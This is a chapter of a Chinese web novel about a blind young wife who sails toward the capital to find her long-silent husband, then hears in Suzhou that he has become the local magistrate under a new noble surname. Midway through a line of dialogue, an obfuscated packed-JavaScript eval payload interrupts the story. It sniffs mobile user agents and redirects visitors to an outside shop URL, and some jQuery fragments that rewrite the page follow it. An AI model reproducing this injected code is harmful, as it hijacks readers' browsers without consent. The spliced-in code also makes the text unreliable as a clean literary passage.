春雨淅淅沥沥地下着，运河上水雾空濛，两岸山野褪成淡青的剪影，只余一片沙沙的细密潮声。
烟波浩渺中有一艘客船独行。
柳絮站在甲板上，一手撑伞，另一只手握着一根青竹杖，面朝着河流的方向静静远眺。
一阵风吹过，伞沿微斜，细细的雨丝被风吹到了手背上，她感觉到沁人的凉意，还有随风而来的草木泥土芬芳。
她握紧了伞柄，一双如蒙雾的空洞美目露出些惆怅之色。
想必是极美的景色，可惜她看不见。
然而过去她眼睛是正常的。
那是两年前的初冬，她嫁给齐阭刚三个月，为了给他凑进京赶考的盘缠，便上山去采冬凌草卖钱，哪知不慎一脚踩空，滚落到山坡下磕伤了后脑。
待她醒来，眼前便只剩下一片黑暗虚无。
夫君得了消息，急匆匆从县学赶回，带她寻医问药。
她喝了一碗又一碗苦涩的汤药，扎了无数银针，可双目始终不见起色。
春闱在即，她看不见夫君的脸，只能听到他素来清冷的声线越来越沉，变得少言寡语。
有天深夜，她摸索着打开屋门，唤了好几声“夫君”却无人应答，过了好一会儿，他才突然开口：“我不去京城了，留在家里照顾你。”
她站在门框边，指甲陷进木框的缝隙里，鼻尖酸涩难抑。齐阭同她自小一起长大，从垂髫到总角，从总角到结发，他性子虽冷清寡言，待她却向来是极好的。
所以柳絮拒绝了。
春闱三年一度，错过便需再等三年，她不能让他为了自己困在乡野，甚至可能耽搁蹉跎一生。
还记得齐阭走的那天是个晴天，她站在院门口，听着他的脚步声渐行渐远，又猝然折返。
他紧紧把她拥入怀中，一字一句低声承诺，说定会金榜题名，荣归故里，带她去京城治眼睛。
这一等，便是两载。
春去秋来，七百多个日夜。
最初柳絮极不适应，眼中一片虚无黑暗，没有落点，仿佛有东西无限远，又似乎在咫尺的迷雾里，令她慌张。
她摸索着生火做饭，手不知被烫出多少水泡，也不知被门槛绊倒摔了多少回，浑身是伤。
齐阭母亲早逝，家中再无旁人，若非他临走前托付了族婶照应，隔三差五来帮衬，嫁到隔壁村的大姐偶尔送些米面吃食，探望一二，加上有两条大黄狗安家护院，柳絮恐怕很难撑到今日。
她托人写了许多信寄往京城，可除了最初三四个月收到过回信，后面便杳无音讯了。
时日一长，村里人便少了顾忌。
有些孩童会跟在她身后拍手唱“瞎婆娘，没人要”，有时她在河边浆洗衣裳，会被人冷不丁推搡落水。
闲言碎语也渐起，最开始只是背地里嚼舌根，后来便开始语重心长当她面说：“你家那口子啊，怕是在京城有了新人，早把你这个瞎婆娘忘干净了。”
大姐也唉声叹气劝她：“不如趁着年纪尚轻改嫁了吧，不然眼睛又盲，老了可怎么办？爹娘已经去了，我们管得了你一时管不了你一世啊。”
面对这些，柳絮默然。
她不信那个从小将她护在身后的小郎君会食言。
她咽下委屈，忍着伤痛，在无数个深夜里，探手抚摸着身旁冰冷的空枕，心头只有一个念想，夫君定会来接她。
直到隔壁县的张员外意图纳她为妾。
柳絮不想改嫁，更不愿做妾。
于是性子素来软弱的她，萌生了孤注一掷的念头。
她卖了家里的驴子和老母鸡，将家中两条黄狗牵至族婶家，托付些铜板与半袋粮食，又让人做了一身男装，将仅剩的银钱摸索仔细缝进衣襟，备好干粮，搭上一位走买卖的小商贩的便船，趁夜离开了家乡。
那小商贩叫云英，是个利落爽快的姑娘，常年扮作男儿跑买卖，走南闯北，见多识广。
云英听说她要上京寻夫，二话不说便应了，只收了一点船钱，路上还处处照拂。
从温州出发，在运河上行了十余日，船即将抵达苏州。
雨势渐渐小了。
初春的天依旧寒凉，柳絮握伞的指节冻得微微发红。
正出神想事，身后忽然传来一阵熟悉的脚步声，她微侧过脸，在来人还未出声时便先开了口。
“英娘。”
云英一身藏蓝短褐，头发高高束起，腰间系着条牛皮带，神采英气。
她走到柳絮身边，伸手拍了拍对方的肩膀，毫不客气地挤到伞下，凑过来笑道：“又想你那夫君呢？”
柳絮睫毛颤了颤，轻轻嗯了一声。
云英想说什么安慰的话，可话到嘴边转了两圈，实在想不出什么太好的，索性干脆利落转了话头。
“一会儿就到苏州了。”她伸手往前方虚虚一指，语气里带着兴致，“你自小老老实实窝在乡里，怕连温州城门都没进过几回，这下好了，直接来了苏州，今日定要好好逛逛，这可是顶顶热闹的地界！”
柳絮抿唇露出一抹浅笑，点头应了。
等出了苏州后一路北上，渡长江，过淮河，云英说约莫再行月余，便可抵京。
到了京城，或能打探到夫君的消息。
她想，夫君定有难言之隐。
齐阭那样的人，素来君子端方，言出必行。书院里的先生夸他品行端正，村里的长辈们也说他是个靠得住的后生。
和她一起长大的人，自己怎会看错？
片刻后，船身微微一顿，靠岸了。
码头上人声鼎沸。还有不知哪家铺子飘来的炊饼和茶香。
云英的伙计们忙着卸货换船，柳絮和她并肩走在苏州的街巷里。
柳絮一手撑伞，一手用青竹杖点着地面，杖头敲在青石板上发出清脆的笃笃声。
她耳朵微微侧向街市的方向，一路走一路听。
伙计们扯着嗓子揽客，铁匠铺里叮叮当当的打铁声，还有货郎挑的扁担吱呀吱呀的响，以及不知道是哪里飘来的各式各样的气味。
不知道京城是否也是这般热闹？夫君现在在做什么呢？甚至……尚在人世？
柳絮不敢多想。
云英在一处酒楼前停下脚步，抬头看了看招牌，说：“先吃饭吧。”
柳絮摸向腰间的荷包，没有犹豫便解下来往云英手里递，轻声说：“英娘，这顿我来，你一路上……”
话没说完，荷包就被人一把塞了回来。
云英笑了一声，往她肩膀上拍了一记，调侃道：“你那三瓜两枣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496420|202525||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的装什么阔，收起来收起来！等到了京城，有你花钱的地方。”
柳絮脸颊微微泛红，握着荷包的手指蜷缩了一下，心头发暖。
她垂眼低低说了声“谢谢”，把荷包仔细收回怀中，心想等以后定会报答英娘。
云英拉着她在一张桌边坐下，点了几个小菜，伙计不一会儿就端来了。
柳絮摸索着拿起筷子，手指在碗沿上摸了摸，确定位置，慢慢夹了些饭菜送入口中。
大堂里很是喧闹。
邻桌几个男子在谈茶叶的价格，不远处有个年轻男人说今年的雨水太多，怕要涝了庄稼，收不了多少粮，还有对夫妻低声拌嘴。伙计端着托盘在木桌之间穿梭，脚步又急又碎，嘴里喊着“借过借过”。
声音像河水一样流过她的耳朵，柳絮似乎能通过这些拼凑想象出画面。
忽而，她听到了一个很不一样的声音。
是两个汉子在说话，他们似乎坐得有点远，声音压得极低，像是怕被人听了去。
可声音越低，就越像一根细细的钩子，钩着她的耳朵不放。
“你听说了吗？今晨来了个新知县。”
“知道知道，叫什么宋……宋什么来着？”
“宋阭。”
“对对对，就这个名儿！我还听说啊——”那人故意拖长了声调，带着几分神秘，“这新知县，就是长平侯府新认祖归宗的公子，原先似乎姓齐，后来才改回的宋姓。”
柳絮怔怔听着，手中的筷子忽地从指间滑落，“啪嗒”一声撞在桌沿，又弹了一下，滚落在地。
她听不清后面的对话了。
像是有河水倒灌入耳，把所有的声音都变成一片浑浊的轰鸣。
云英看见他脸色惨白，放下筷子正色道：“絮娘，你怎么了？哪里不舒服吗？”
柳絮唇瓣翕动着，侧过脸转向云英发声的方向，眼中有水光微微晃动。
好一会，她才干涩着嗓子说：“我，我听到有人说，阿阭做了此处的知县。”
云英愣了愣，随即反应过来，立刻道：“你别急，天下同名同姓的人多了去了，说不定是同音呢，你就在这儿等着，我去找人打听打听。”
她站起身，看着柳絮柔婉的面容苍白，又俯身拍了拍她的手背，放缓语气安慰：“放宽心，我马上回来。”
脚步声很快远去。
柳絮坐着，周围的声音像是闷在一个罐子里，模糊不清。
她咬着唇低下头，心中反反复复念着一句话。这里这么吵，或许只是听错了，就算没听错，也可能是同音。
阿阭断然不会抛弃她的，一定不会的。
不知过了多久，一阵急促的脚步声传来，随即旁侧的凳子被拉开。
柳絮抬起脸，神情期盼又慌乱，两种情绪交织在一起，手指紧紧攥着衣摆。
云英看到她这副模样，话到嘴边又咽了下去。
她倒了一杯茶仰头灌下去，才斟酌了措辞，一口气说完：“我刚刚问了些人，还去府衙对街的铺子打听了一番，今早吴县确实来了个新知县，叫宋阭。”
吴县是苏州府主辖县，县衙就在苏州城。
柳絮摸索着握住她的手，语调急切慌乱：“那他可是长平侯新认回去的公子？从前姓齐？”